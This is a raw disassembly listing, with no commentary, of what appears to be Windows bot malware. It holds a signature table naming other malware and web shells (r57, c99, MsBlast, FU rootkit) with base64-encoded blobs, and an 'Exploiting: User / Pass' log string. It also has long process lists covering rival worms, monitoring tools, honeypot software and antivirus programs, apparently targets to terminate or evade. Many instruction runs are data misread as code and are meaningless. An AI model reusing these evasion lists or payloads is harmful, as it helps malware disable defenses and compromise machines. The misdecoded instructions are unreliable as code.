		dd offset loc_44D10F+1
		dd offset aOld4444shell	; "Old4444Shell"
		dd offset loc_44D0F4
		dd offset dword_44D0E8
		dd offset dword_44D0D4
		dd offset dword_44D0C4
		dd offset loc_44D0B0
		dd offset dword_44D0A0
		dd offset loc_44D08C
		dd offset dword_44D07C
		dd offset dword_44D068
		dd offset dword_44D05C
		dd offset loc_44D044
		dd offset aBobic_a	; "Bobic.A"
		dd offset aOsamaBinLadenC ; "Osama Bin Laden Captured."
		dd offset aBobic_b	; "Bobic.B"
		dd offset aDonateToTheHur ; "Donate to the Hurricane Katrina relief "...
		dd offset aBeagle	; "Beagle"
		dd offset dword_44CFCC
		dd offset aMsblast	; "MsBlast"
		dd offset aWindowsupdate_ ; "windowsupdate.com"
		dd offset aLowerzones	; "LowerZones"
		dd offset aSoftwareMicr_6 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		dd offset aHiderGui	; "Hider-Gui"
		dd offset aSoftwareAdrian ; "Software\\Adrian Lopez\\HideWindow\\Prefer"...
		dd offset aHiderun	; "HideRun"
		dd offset aHiderunHiddenA ; "HideRun --	hidden application launcher."...
		dd offset aR57		; "r57"
		dd offset aI2luy2x1zgugph ; "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA"...
		dd offset aC99		; "c99"
		dd offset aR0lgodlhfaauak ; "R0lGODlhFAAUAKIAAAAAAP//////93d3cDAwIaG"...
		dd offset aDcomOldScan	; "Dcom-Old-Scan"
		dd offset aPipeEpmapper	; "pipe\\epmapper\\"
		dd offset aNircomline	; "NirComLine"
		dd offset aNircomline	; "NirComLine"
		dd offset aMsnbot_a	; "MSNBot.a"
		dd offset aStaticConstCha ; "static const char *msg_english[] =	{"
		dd offset aMsnbot_b	; "MSNBot.b"
		dd offset aImportMsnMsnme ; "#import \"MSN/MSNMessengerAPI.tlb\" named"...
		dd offset aFu_rootkit_a	; "FU.Rootkit.a"
; ---------------------------------------------------------------------------
		aam	0CCh
		inc	esp
		add	ah, al
		int	3		; Trap to Debugger
		inc	esp
		add	[esp+ecx*8-3383FFBCh], cl
		inc	esp
		add	[esp+ecx*8+44h], cl
		add	[eax], bh
		int	3		; Trap to Debugger
		inc	esp
		add	[eax-6BFFBB35h], ah
		retf
; ---------------------------------------------------------------------------
		dw 44h
; ---------------------------------------------------------------------------
		mov	bl, cl
		inc	esp
		add	[ebx+ecx*8+44h], bh
		add	[ebx+ecx*8+44h], ch
		add	[ebx+ecx*8+44h], dl
		add	[eax], ch
		retf
; ---------------------------------------------------------------------------
		dw 44h
; ---------------------------------------------------------------------------
		sbb	al, 0CBh
		inc	esp
		add	al, dl
		retf	44h
; ---------------------------------------------------------------------------
		dd offset aFiredaemon_a	; "FireDaemon.A"
		dd offset aCopyrightC2007 ; "Copyright (c) 2007	FireDaemon Technolog"...
		dd offset aFiredaemon_b	; "FireDaemon.B"
; ---------------------------------------------------------------------------
		pusha
		retf	44h
; ---------------------------------------------------------------------------
		push	eax
		retf	44h
; ---------------------------------------------------------------------------
		dd offset loc_44CA3C
		dd offset aNtbot_a	; "NTBot.A"
		dd offset aStaticConstUns ; "static const unsigned long	crc32tab[256"...
		dd offset aNtbot_b	; "NTBot.B"
		dd offset aExploitingSUse ; "(Exploiting: %s User: %s /	Pass: %s\r\n)"
		dd offset dword_44C9C8
		dd offset dword_44C9A4
		dd offset dword_44C998
		dd offset dword_44C980
		dd 2 dup(0)
off_447E68	dd offset a_tmp_exe_0	; DATA XREF: sub_41F0F5+1FEr
					; sub_41F0F5+274r
					; "*.tmp.exe"
		dd offset a_tmp_exe	; "*.TMP.EXE"
		dd offset aEraseme_exe_1 ; "eraseme*.exe"
		dd offset aEraseme_exe_0 ; "ERASEME*.EXE"
		dd offset aSsms_exe	; "ssms.exe"
		dd offset aMsile_exe	; "msile.exe"
		dd offset aWorm32_exe_0	; "worm32.exe"
		dd offset aPenis_exe	; "penis.exe"
		dd offset aPenis32_exe_0 ; "penis32.exe"
		dd offset aMsblast_exe_0 ; "msblast.exe"
		dd offset aKernel32_exe_0 ; "kernel32.exe"
		dd offset aSvhost_exe_0	; "svhost.exe"
; ---------------------------------------------------------------------------
		fmul	st, st
		inc	esp
		add	al, dl
		enter	44h, 0C4h
		enter	44h, 0B8h
		enter	44h, 0ACh
		enter	44h, 9Ch
		enter	44h, 90h
		enter	44h, 84h
		enter	44h, 74h
		enter	44h, 64h
		enter	44h, 58h
		enter	44h, 4Ch
		enter	44h, 40h
		enter	44h, 34h
		enter	44h, 28h
		enter	44h, 20h
		enter	44h, 14h
		enter	44h, 8
		enter	44h, 0FCh
		mov	dword ptr [eax+eax-10h], 0E80044C7h
		mov	dword ptr [eax+eax-24h], 0CC0044C7h
		mov	dword ptr [eax+eax-40h], 940044C7h
		mov	dword ptr [eax+eax-78h], 7C0044C7h
		mov	dword ptr [eax+eax+70h], 600044C7h
		mov	dword ptr [eax+eax+50h], 400044C7h
		mov	dword ptr [eax+eax+30h], 200044C7h
		mov	dword ptr [eax+eax+14h], 80044C7h
		mov	dword ptr [eax+eax-4], 0F00044C6h
		mov	byte ptr [eax+eax-18h],	0C6h
		inc	esp
		add	al, bl
		mov	byte ptr [eax+eax-38h],	0C6h
		inc	esp
		add	[esi+eax*8-3953FFBCh], bh
		inc	esp
		add	[esi+eax*8-3973FFBCh], bl
		inc	esp
		add	[esi+eax*8-3987FFBCh], al
		inc	esp
		add	[esi+eax*8+44h], ch
		add	[eax-3Ah], ah
		inc	esp
		add	[eax-3Ah], dl
		inc	esp
		add	[esi+eax*8+44h], al
		add	[eax], bh
		mov	byte ptr [eax+eax+2Ch],	0C6h
		inc	esp
		add	[eax], ah
		mov	byte ptr [eax+eax+18h],	0C6h
		inc	esp
		add	[eax], dl
		mov	byte ptr [eax+eax+4], 0C6h
		inc	esp
		add	al, bh
		lds	eax, [eax+eax-18h]
		lds	eax, [eax+eax-24h]
		lds	eax, [eax+eax-30h]
		lds	eax, [eax+eax-40h]
		lds	eax, [eax+eax-4Ch]
		lds	eax, [eax+eax-5Ch]
		lds	eax, [eax+eax-68h]
		lds	eax, [eax+eax-74h]
		lds	eax, [eax+eax-80h]
		lds	eax, [eax+eax+78h]
		lds	eax, [eax+eax+6Ch]
		lds	eax, [eax+eax+5Ch]
		lds	eax, [eax+eax+4Ch]
		lds	eax, [eax+eax+40h]
		lds	eax, [eax+eax+34h]
		lds	eax, [eax+eax+28h]
		lds	eax, [eax+eax+18h]
		lds	eax, [eax+eax+0Ch]
		lds	eax, [eax+eax+0]
		lds	eax, [eax+eax-0Ch]
		les	eax, [eax+eax-18h]
		les	eax, [eax+eax-28h]
		les	eax, [eax+eax-38h]
		les	eax, [eax+eax-44h]
		les	eax, [eax+eax-4Ch]


loc_447FDD:				; CODE XREF: .text:00448018j
		les	eax, [eax+eax-58h]
		les	eax, [eax+eax-64h]
		les	eax, [eax+eax-70h]
		les	eax, [eax+eax-7Ch]
		les	eax, [eax+eax+78h]
		les	eax, [eax+eax+68h]
		les	eax, [eax+eax+58h]
		les	eax, [eax+eax+4Ch]
		les	eax, [eax+eax+3Ch]
		les	eax, [eax+eax+2Ch]
		les	eax, [eax+eax+1Ch]
		les	eax, [eax+eax+0Ch]
		les	eax, [eax+eax-4]
		retn
; ---------------------------------------------------------------------------
		dw 44h
		dd offset aWintask32_exe ; "WINTASK32.EXE"
; ---------------------------------------------------------------------------
		loopne	loc_447FDD
		inc	esp
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 44h
; ---------------------------------------------------------------------------
		rol	bl, 44h
		add	[ebx+eax*8-3C57FFBCh], dh
		inc	esp
		add	[ebx+eax*8-3C77FFBCh], dl
		inc	esp
		add	[eax-3Dh], bh
		inc	esp
		add	[ebx+eax*8+44h], ch
		add	[eax-3Dh], ah
		inc	esp
		add	[eax-3Dh], dl
		inc	esp
		add	[eax-3Dh], al
		inc	esp
		add	[ebx+eax*8], dh
		inc	esp
		add	[ebx+eax*8], ah
		inc	esp
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		dw 44h
		dd offset aMsJava_exe	; "MS-JAVA.EXE"
		dd offset aMsjava_exe	; "MSJAVA.EXE"
		dd offset aMsupsrv_exe	; "MSUPSRV.EXE"
		dd offset aMsusb_exe	; "MSUSB.EXE"
; ---------------------------------------------------------------------------
		fadd	st, st(2)
		inc	esp
		add	ah, cl
		retn	44h
; ---------------------------------------------------------------------------
		rol	dl, 44h
		add	[edx+eax*8-3D5BFFBCh], dh
		inc	esp
		add	[eax-77FFBB3Eh], bl
		retn	44h
; ---------------------------------------------------------------------------
		dd offset aDmloader_exe	; "DMLOADER.EXE"
; ---------------------------------------------------------------------------
		push	5C0044C2h
		retn	44h
; ---------------------------------------------------------------------------
		dd offset aDpnwsock_exe	; "DPNWSOCK.EXE"
; ---------------------------------------------------------------------------
		inc	eax
		retn	44h
; ---------------------------------------------------------------------------
		xor	al, 0C2h
		inc	esp
		add	[eax], ch
		retn	44h
; ---------------------------------------------------------------------------
		sbb	al, 0C2h
		inc	esp
		add	[eax], dl
		retn	44h
; ---------------------------------------------------------------------------
		dd offset aBingo_exe	; "BINGO.EXE"
		dd offset aWks_exe	; "WKS.EXE"
		dd offset aSvhostcs32_exe ; "SVHOSTCS32.EXE"
		dd offset aNtsf_exe	; "NTSF.EXE"
		dd offset aSpoolss_exe	; "SPOOLSS.EXE"
		dd offset aMysvcc_exe	; "MYSVCC.EXE"
		dd offset aSerrv_exe	; "SERRV.EXE"
		dd offset aWinsys_32_exe ; "WINSYS_32.EXE"
		dd offset aSserrvv_exe	; "SSERRVV.EXE"
		dd offset aWinsockx32_exe ; "WINSOCKX32.EXE"
		dd offset aNetmsn_exe	; "NETMSN.EXE"
		dd offset aMsdevelop_exe ; "MSDEVELOP.EXE"
		dd offset aLsass32_exe	; "LSASS32.EXE"
		dd offset aWinrpc_exe	; "WINRPC.EXE"
		dd offset aSys_exe	; "SYS.EXE"
		dd offset aWinupd_exe	; "WINUPD.EXE"
		dd offset aSyser_exe	; "SYSER.EXE"
		dd offset aAkwid_exe	; "AKWID.EXE"
		dd offset aAk_exe	; "AK.EXE"
		dd offset aWinl0gon_exe	; "WINL0GON.EXE"
		dd offset aWinl0gin_exe	; "WINL0GIN.EXE"
		dd offset aWinlogon32_exe ; "WINLOGON32.EXE"
		dd offset aYesbron_com	; "YESBRON.COM"
		dd offset aMsmpls_exe	; "MSMPLS.EXE"
		dd offset aMsnplus_exe	; "MSNPLUS.EXE"
		dd offset aTmrservice_exe ; "TMRSERVICE.EXE"
		dd offset aInstall_sp_exe ; "INSTALL_SP.EXE"
		dd offset aAlg32_exe	; "ALG32.EXE"
		dd offset aMsnupdate_exe ; "MSNUPDATE.EXE"
		dd offset aMsnupdater_exe ; "MSNUPDATER.EXE"
		dd offset aMsner_exe	; "MSNER.EXE"
		dd offset aMsmmsgr_exe	; "MSMMSGR.EXE"
		dd offset aMsnmsgrr_exe	; "MSNMSGRR.EXE"
		dd offset aSpoolv_exe	; "SPOOLV.EXE"
		dd offset aSpoolvs_exe	; "SPOOLVS.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aSssvhost_exe	; "SSSVHOST.EXE"
		dd offset aLsass_32_exe	; "LSASS_32.EXE"
		dd offset aIiexplore_exe ; "IIEXPLORE.EXE"
		dd offset aIiexplorer_exe ; "IIEXPLORER.EXE"
		dd offset aAsn1sys_exe	; "ASN1SYS.EXE"
		dd offset aWgareg_exe	; "WGAREG.EXE"
		dd offset aServices32_exe ; "SERVICES32.EXE"
		dd offset aMicrosoft_exe ; "MICROSOFT.EXE"
		dd offset aLinewsrv_exe	; "LINEWSRV.EXE"
		dd offset aWinime_exe	; "WINIME.EXE"
		dd offset aWservice_exe	; "WSERVICE.EXE"
		dd offset aWservices_exe ; "WSERVICES.EXE"
		dd offset aScsrc_exe	; "SCSRC.EXE"
		dd offset aWinsvc_exe	; "WINSVC.EXE"
		dd offset aWin32update_ex ; "WIN32UPDATE.EXE"
		dd offset aDnssrv_exe	; "DNSSRV.EXE"
		dd offset aDnssvc_exe	; "DNSSVC.EXE"
		dd offset aDns32_exerxbot ; "DNS32.EXERXBOT.EXE"
		dd offset aCrxbot_exe	; "CRXBOT.EXE"
		dd offset aBot_exe	; "BOT.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aW32gen_exe	; "W32GEN.EXE"
		dd offset aTaskmngr32_exe ; "TASKMNGR32.EXE"
		dd offset aIe6_exe	; "IE6.EXE"
		dd offset aIe7_exe	; "IE7.EXE"
		dd offset aPapersrv_exe	; "PAPERSRV.EXE"
		dd offset aTskmgr_exe	; "TSKMGR.EXE"
		dd offset aNdrv_exe	; "NDRV.EXE"
		dd offset aMshtml_exe	; "MSHTML.EXE"
		dd offset aMshtml1_exe	; "MSHTML1.EXE"
		dd offset aMshtml2_exe	; "MSHTML2.EXE"
		dd offset aMshtml3_exe	; "MSHTML3.EXE"
		dd offset aCtxad_exe	; "CTXAD.EXE"
		dd offset aRundii32_exe	; "RUNDII32.EXE"
		dd offset aPopwin_exe	; "POPWIN.EXE"
		dd offset aMsserrv32_exe ; "MSSERRV32.EXE"
		dd offset aMsserv32_exe	; "MSSERV32.EXE"
		dd offset aRundll16_exe	; "RUNDLL16.EXE"
		dd offset aMathchk_exe	; "MATHCHK.EXE"
		dd offset aPicx_exe	; "PICX.EXE"
		dd offset aSuhoy_exe	; "SUHOY.EXE"
		dd offset aWinupdates_exe ; "WINUPDATES.EXE"
		dd offset aMsmgrxp_exe	; "MSMGRXP.EXE"
		dd offset aRpc32_exe	; "RPC32.EXE"
		dd offset aSystra_exe	; "SYSTRA.EXE"
		dd offset aSyscfg16_exe	; "SYSCFG16.EXE"
		dd offset aSyscfg32_exe	; "SYSCFG32.EXE"
		dd offset aWincfg32_exe	; "WINCFG32.EXE"
		dd offset aTaskgmr_exe	; "TASKGMR.EXE"
		dd offset aTaskm0n_exe	; "TASKM0N.EXE"
		dd offset aWfdmgr_exe	; "WFDMGR.EXE"
		dd offset aXpfirewall_exe ; "XPFIREWALL.EXE"
		dd offset aMsnmsgs_exe	; "MSNMSGS.EXE"
		dd offset aMsnmsg_exe	; "MSNMSG.EXE"
		dd offset aWinis_exe	; "WINIS.EXE"
		dd offset aWin32_exe	; "WIN32.EXE"
		dd offset aWin_exe	; "WIN.EXE"
		dd offset aCmrss_dll_exe ; "CMRSS.DLL.EXE"
		dd offset aWinnamps_exe	; "WINNAMPS.EXE"
		dd offset aWinb_exe	; "WINB.EXE"
		dd offset aMydocs_exe	; "MYDOCS.EXE"
		dd offset aWinmap_exe	; "WINMAP.EXE"
		dd offset aSvcshoter_exe ; "SVCSHOTER.EXE"
		dd offset aWups_exe	; "WUPS.EXE"
		dd offset aSaveuninst_exe ; "SAVEUNINST.EXE"
		dd offset aWindows_exe	; "WINDOWS.EXE"
		dd offset aWindow_exe	; "WINDOW.EXE"
		dd offset aW32_exe	; "W32.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aWinsystem_exe ; "WINSYSTEM.EXE"
		dd offset aWinrarx_exe	; "WINRARX.EXE"
		dd offset aWindowsp_exe	; "WINDOWSP.EXE"
		dd offset aHiddenrun_exe ; "HIDDENRUN.EXE"
		dd offset aHidden32_exe	; "HIDDEN32.EXE"
		dd offset aHidden_exe	; "HIDDEN.EXE"
		dd offset aHide_exe	; "HIDE.EXE"
		dd offset aWinpadg_exe	; "WINPADG.EXE"
		dd offset aMsgmr_exe	; "MSGMR.EXE"
		dd offset aMsgm_exe	; "MSGM.EXE"
		dd offset aFunny_pic_scr ; "FUNNY_PIC.SCR"
		dd offset aHellmsn_exe	; "HELLMSN.EXE"
		dd offset aMyt0b_exe	; "MYT0B.EXE"
		dd offset aMybot_exe	; "MYBOT.EXE"
		dd offset a666_exe	; "666.EXE"
		dd offset aWip_exe	; "WIP.EXE"
		dd offset aMsnlive_exe	; "MSNLIVE.EXE"
		dd offset aService_exe	; "SERVICE.EXE"
		dd offset aMs_exe	; "MS.EXE"
; ---------------------------------------------------------------------------
		add	al, 0C6h
		inc	esp
		add	al, ah
		mov	ebx, 0BBD40044h
		inc	esp
		add	al, cl
		mov	ebx, 0BBBC0044h
		inc	esp
		add	[eax-5BFFBB45h], dh
		mov	ebx, 0BB980044h
		inc	esp
		add	[eax+7C0044BBh], cl
		mov	ebx, 0BB700044h
		inc	esp
		add	[ebx+edi*4+44h], ah
		add	[eax-45h], bl
		inc	esp
		add	[ebx+edi*4+44h], cl
		add	ah, dh
		retn	44h
; ---------------------------------------------------------------------------
		dd offset aWinsys_exe	; "WINSYS.EXE"
		dd offset aWinz_exe	; "WINZ.EXE"
		dd offset aXml_exe	; "XML.EXE"
		dd offset aXml32_exe	; "XML32.EXE"
		dd offset aLansas_exe	; "LANSAS.EXE"
		dd offset aWuamgr_exe	; "WUAMGR.EXE"
		dd offset aWuamgrd_exe	; "WUAMGRD.EXE"
		dd offset aWuamgrd3_exe	; "WUAMGRD3.EXE"
		dd offset aIpcmgr_exe	; "IPCMGR.EXE"
		dd offset aWinsock_exe	; "WINSOCK.EXE"
		dd offset aWinspooler_exe ; "WINSPOOLER.EXE"
		dd offset aWinusb_exe	; "WINUSB.EXE"
		dd offset aWinusb32_exe	; "WINUSB32.EXE"
		dd offset aSvcost_exe	; "SVCOST.EXE"
		dd offset aSys_xp_exe	; "SYS_XP.EXE"
		dd offset aIrun4_exe	; "IRUN4.EXE"
		dd offset aNttdll_exe	; "NTTDLL.EXE"
		dd offset aWinhelp_exe_0 ; "WINHELP.EXE"
		dd offset aSpoolmgr_exe	; "SPOOLMGR.EXE"
		dd offset aServicesmsi_ex ; "SERVICESMSI.EXE"
		dd offset aUpdat_exe	; "UPDAT.EXE"
		dd offset aSvvosts_exe	; "SVVOSTS.EXE"
		dd offset aDsrss_exe	; "DSRSS.EXE"
		dd offset aIeserver_exe	; "IESERVER.EXE"
		dd offset aVhost_exe	; "VHOST.EXE"
		dd offset aSsate_exe	; "SSATE.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBbeagle_exe	; "BBEAGLE.EXE"
; ---------------------------------------------------------------------------
		fdivr	dword ptr [ecx-4637FFBCh]
		inc	esp
		add	[eax-57FFBB47h], bh
		mov	ecx, 0B99C0044h
		inc	esp
		add	[eax-7BFFBB47h], dl
		mov	ecx, 0B9780044h
		inc	esp
		add	[ecx+edi*4+44h], ch
		add	[eax-47h], ah
		inc	esp
		add	[ecx+edi*4+44h], dl
		add	[ecx+edi*4+44h], cl
		add	[eax-47h], al
		inc	esp
		add	[eax], dh
		mov	ecx, 0C41C0044h
		inc	esp
		add	[eax], ah
		mov	ecx, 0B9140044h
		inc	esp
		add	[eax], cl
		mov	ecx, 0B8F80044h
		inc	esp
		add	al, ch
		mov	eax, 0B8DC0044h
		inc	esp
		add	ah, dl
		mov	eax, 0B8C40044h
		inc	esp
		add	[eax+edi*4-4753FFBCh], dh
		inc	esp
		add	[eax-6BFFBB48h], ah
		mov	eax, 0B8840044h
		inc	esp
		add	[eax-48h], bh
		inc	esp
		add	[eax+edi*4+44h], ch
		add	[eax-48h], ah
		inc	esp
		add	[eax-48h], dl
		inc	esp
		add	[eax-3Fh], bl
		inc	esp
		add	[eax-48h], al
		inc	esp
		add	[eax], dh
		mov	eax, 0B8240044h
		inc	esp
		add	ah, cl
		retn	44h
; ---------------------------------------------------------------------------
		dd offset aIsmini_exe	; "ISMINI.EXE"
		dd offset aIshost_exe	; "ISHOST.EXE"
		dd offset aMssdev_exe	; "MSSDEV.EXE"
		dd offset aIi_exe	; "II.EXE"
		dd offset aNewbot_exe	; "NEWBOT.EXE"
		dd offset aSchost_exe	; "SCHOST.EXE"
		dd offset aWindowantasdiv ; "WINDOWANTASDIVRI.EXE"
		dd offset aCtfmom_exe	; "CTFMOM.EXE"
		dd offset aRecsl_exe	; "RECSL.EXE"
		dd offset aInternet_exe	; "INTERNET.EXE"
		dd offset aWinlogin_exe	; "WINLOGIN.EXE"
		dd offset aWuaumqr1_exe	; "WUAUMQR1.EXE"
		dd offset aQtask_exe	; "QTASK.EXE"
		dd offset aSmsc_exe	; "SMSC.EXE"
		dd offset aCmh_exe	; "CMH.EXE"
		dd offset aTskmagr_exe	; "TSKMAGR.EXE"
		dd offset aEraseme_exe	; "ERASEME.EXE"
		dd offset aMessengerr_exe ; "MESSENGERR.EXE"
		dd offset aQkkku_exe	; "QKKKU.EXE"
		dd offset aWindowsvista_e ; "WINDOWSVISTA.EXE"
		dd offset aMswins_exe	; "MSWINS.EXE"
		dd offset aMyhost_exe	; "MYHOST.EXE"
		dd offset aBsdmpldrvr642_ ; "BSDMPLDRVR642.EXE"
		dd offset aRp5_exe	; "RP5.EXE"
		dd offset aSvcvhost_exe	; "SVCVHOST.EXE"
		dd offset aJswtss_exe	; "JSWTSS.EXE"
		dd offset aWaucult_exe	; "WAUCULT.EXE"
		dd offset aMsssmsngr6417_ ; "MSSSMSNGR6417.EXE"
		dd offset aWinmpat_exe	; "WINMPAT.EXE"
		dd offset aSvhostcs32_exe ; "SVHOSTCS32.EXE"
		dd offset aWinpooch_exe	; "WINPOOCH.EXE"
		dd offset aRundil_exe	; "RUNDIL.EXE"
		dd offset aRundll_exe	; "RUNDLL.EXE"
		dd offset aAg_exe	; "AG.EXE"
		dd offset aA_bat	; "A.BAT"
		dd offset aHbot_exe	; "HBOT.EXE"
		dd offset aDbot_exe	; "DBOT.EXE"
		dd offset aZz_exe	; "ZZ.EXE"
		dd offset aTcpview_exe	; "TCPVIEW.EXE"
		dd offset aTcpviewpro_exe ; "TCPVIEWPRO.EXE"
		dd offset aTcpdump_exe	; "TCPDUMP.EXE"
		dd offset aTcpmon_exe	; "TCPMON.EXE"
		dd offset aTcpstat_exe	; "TCPSTAT.EXE"
		dd offset aTcpstats_exe	; "TCPSTATS.EXE"
		dd offset aSharemon_exe	; "SHAREMON.EXE"
		dd offset aHostmon_exe	; "HOSTMON.EXE"
		dd offset aWinsniff_exe	; "WINSNIFF.EXE"
		dd offset aRegmon_exe	; "REGMON.EXE"
		dd offset aProcexp_exe	; "PROCEXP.EXE"
		dd offset aPortmon_exe	; "PORTMON.EXE"
		dd offset aFilemon_exe	; "FILEMON.EXE"
		dd offset aFport_exe	; "FPORT.EXE"
		dd offset aTlist_exe	; "TLIST.EXE"
		dd offset aProcdump_exe	; "PROCDUMP.EXE"
		dd offset aProcdump32_exe ; "PROCDUMP32.EXE"
		dd offset aPexplorer_exe ; "PEXPLORER.EXE"
		dd offset aNetworkactivpi ; "NETWORKACTIVPIAFCTMV1.5.EXE"
		dd offset aXdcc_install_e ; "XDCC_INSTALL.EXEDD.EXE"
		dd offset aAoautoupdatena ; "AOAUTOUPDATENAV.EXE"
		dd offset aCash_exe	; "CASH.EXE"
		dd offset a0cash_exe	; "0CASH.EXE"
		dd offset aCash7oc_jpg	; "CASH7OC.JPG"
		dd offset aLogix_exe	; "LOGIX.EXE"
		dd offset a2pac_exe	; "2PAC.EXE"
		dd offset aOp_exe	; "OP.EXE"
		dd offset aOoooo_exe	; "OOOOO.EXE"
		dd offset aOooo_exe	; "OOOO.EXE"
		dd offset aDgjdjg_exe	; "DGJDJG.EXE"
		dd offset aArabz_exe	; "ARABZ.EXE"
		dd offset aArabian_exe	; "ARABIAN.EXE"
		dd offset aTbar_exe	; "TBAR.EXE"
		dd offset aPusu_exe	; "PUSU.EXE"
		dd offset aNaab_exe	; "NAAB.EXE"
		dd offset aFtpit_exe	; "FTPIT.EXE"
		dd offset aIcmd_exe	; "ICMD.EXE"
		dd offset aXssh_exe	; "XSSH.EXE"
		dd offset aTcpshell_exe	; "TCPSHELL.EXE"
		dd offset aHidden32_exe	; "HIDDEN32.EXE"
		dd offset aHiderun_exe	; "HIDERUN.EXE"
		dd offset aHidden32_exe	; "HIDDEN32.EXE"
		dd offset aHidden_exe	; "HIDDEN.EXE"
		dd offset aHide_exe	; "HIDE.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aBlast_exe	; "BLAST.EXE"
		dd offset aSasser_exe	; "SASSER.EXE"
		dd offset aSassere_exe	; "SASSERE.EXE"
		dd offset aScrhost32_exe ; "SCRHOST32.EXE"
		dd offset aWuamgrd_exe	; "WUAMGRD.EXE"
		dd offset aWuamgre_exe	; "WUAMGRE.EXE"
		dd offset aWins32_exe	; "WINS32.EXE"
		dd offset aZfr_exe	; "ZFR.EXE"
		dd offset aZf_exe	; "ZF.EXE"
		dd offset aSvchost32_exe ; "SVCHOST32.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aIexpl0re_exe	; "IEXPL0RE.EXE"
		dd offset aSvcost_exe	; "SVCOST.EXE"
		dd offset aSvhost_exe	; "SVHOST.EXE"
		dd offset aSvhosts_exe	; "SVHOSTS.EXE"
		dd offset aSvch0st32_exe ; "SVCH0ST32.EXE"
		dd offset aScrh0st_exe	; "SCRH0ST.EXE"
		dd offset aWuamkoppnp_exe ; "WUAMKOPPNP.EXE"
		dd offset aSpoolss_exe	; "SPOOLSS.EXE"
		dd offset aSysinfo_exe	; "SYSINFO.EXE"
		dd offset aAddiq32_exe	; "ADDIQ32.EXE"
		dd offset aNtsf_exe	; "NTSF.EXE"
		dd offset aWindows_update ; "WINDOWS_UPDATER01.EXE"
		dd offset aQq_exe	; "QQ.EXE"
		dd offset aIexploree_exe ; "IEXPLOREE.EXE"
		dd offset aCrss32_exe	; "CRSS32.EXE"
		dd offset aSpool32_exe	; "SPOOL32.EXE"
		dd offset aSpools32_exe	; "SPOOLS32.EXE"
		dd offset aRun0nce_exe	; "RUN0NCE.EXE"
		dd offset aMsdev32_exe	; "MSDEV32.EXE"
		dd offset aPostcard_exe	; "POSTCARD.EXE"
		dd offset aFoods_exe	; "FOODS.EXE"
		dd offset aMswin32	; "MSWIN32"
		dd offset aHide_exe	; "HIDE.EXE"
		dd offset aTaskhider_exe ; "TASKHIDER.EXE"
		dd offset aNi_exe	; "NI.EXE"
		dd offset aRview_exe	; "RVIEW.EXE"
		dd offset aRadmin21_exe	; "RADMIN21.EXE"
		dd offset aRadmin22_exe	; "RADMIN22.EXE"
		dd offset aWsg32_exe	; "WSG32.EXE"
		dd offset aXtc_exe	; "XTC.EXE"
		dd offset aCiao_exe	; "CIAO.EXE"
		dd offset aRdr32_exe	; "RDR32.EXE"
		dd offset aWrapper_exe	; "WRAPPER.EXE"
		dd offset aStub_exe	; "STUB.EXE"
		dd offset aTemp_exe	; "TEMP.EXE"
		dd offset aDftpd_exe	; "DFTPD.EXE"
		dd offset aWinmaster_exe ; "WINMASTER.EXE"
		dd offset aSlave_exe	; "SLAVE.EXE"
		dd offset aSlave32_exe	; "SLAVE32.EXE"
		dd offset aWinslave_exe	; "WINSLAVE.EXE"
		dd offset aKralor_exehaxo ; "KRALOR.EXEHAXOR.EXE"
		dd offset aMykralor_exe	; "MYKRALOR.EXE"
		dd offset aAcc3pt_exe	; "ACC3PT.EXE"
		dd offset aBeast_exe	; "BEAST.EXE"
		dd offset aTq_exe	; "TQ.EXE"
		dd offset aVirus_exe	; "VIRUS.EXE"
		dd offset aVirus32_exe	; "VIRUS32.EXE"
		dd offset aHoneyd_exe	; "HONEYD.EXE"
		dd offset aHoneywall_exe ; "HONEYWALL.EXE"
		dd offset aSebek_exe	; "SEBEK.EXE"
		dd offset aSelebek_exe	; "SELEBEK.EXE"
		dd offset aAntibotty_exe ; "ANTIBOTTY.EXE"
		dd offset aSysd32_exe	; "SYSD32.EXE"
		dd offset aRoo_exe	; "ROO.EXE"
		dd offset aRoo32_exe	; "ROO32.EXE"
		dd offset aHoney_exe	; "HONEY.EXE"
		dd offset aTrojan_exe	; "TROJAN.EXE"
		dd offset aSub7_exe	; "SUB7.EXE"
		dd offset aBd_exe	; "BD.EXE"
		dd offset aDoor_exe	; "DOOR.EXE"
		dd offset aOmfglol_exe	; "OMFGLOL.EXE"
		dd offset aOwned_exe	; "OWNED.EXE"
		dd offset a1_exe	; "1.EXE"
		dd offset a6_exe	; "6.EXE"
		dd offset aDiablo_exe	; "DIABLO.EXE"
		dd offset aDiabl0_exe	; "DIABL0.EXE"
		dd offset aRunthis_exe	; "RUNTHIS.EXE"
		dd offset aKit_exe	; "KIT.EXE"
		dd offset aXdcckit_exe	; "XDCCKIT.EXE"
		dd offset aXd_exe	; "XD.EXE"
		dd offset aIcmd_exe	; "ICMD.EXE"
		dd offset aHxdef100_exe	; "HXDEF100.EXE"
		dd offset aBdcli100_exe	; "BDCLI100.EXE"
		dd offset aRdrbs100_exe	; "RDRBS100.EXE"
		dd offset aHxdofena_exe	; "HXDOFENA.EXE"
		dd offset aHxgold_exe	; "HXGOLD.EXE"
		dd offset aHxdef073_exe	; "HXDEF073.EXE"
		dd offset aBdcli073_exe	; "BDCLI073.EXE"
		dd offset aRdrbs073_exe	; "RDRBS073.EXE"
		dd offset aHxdofena_exe	; "HXDOFENA.EXE"
		dd offset aKeylogger_exe ; "KEYLOGGER.EXE"
		dd offset aKeylog_exe	; "KEYLOG.EXE"
		dd offset aKeylogg_exe	; "KEYLOGG.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aMsantispy_exe ; "MSANTISPY.EXE"
		dd offset aAntispy_exe	; "ANTISPY.EXE"
		dd offset aWinmrt_exe	; "WINMRT.EXE"
		dd offset aWinmrt32_exe	; "WINMRT32.EXE"
		dd offset aRcc_exe	; "RCC.EXE"
		dd offset aIroffer_exe	; "IROFFER.EXE"
		dd offset aIrbot_exe	; "IRBOT.EXE"
		dd offset aOffer_exe	; "OFFER.EXE"
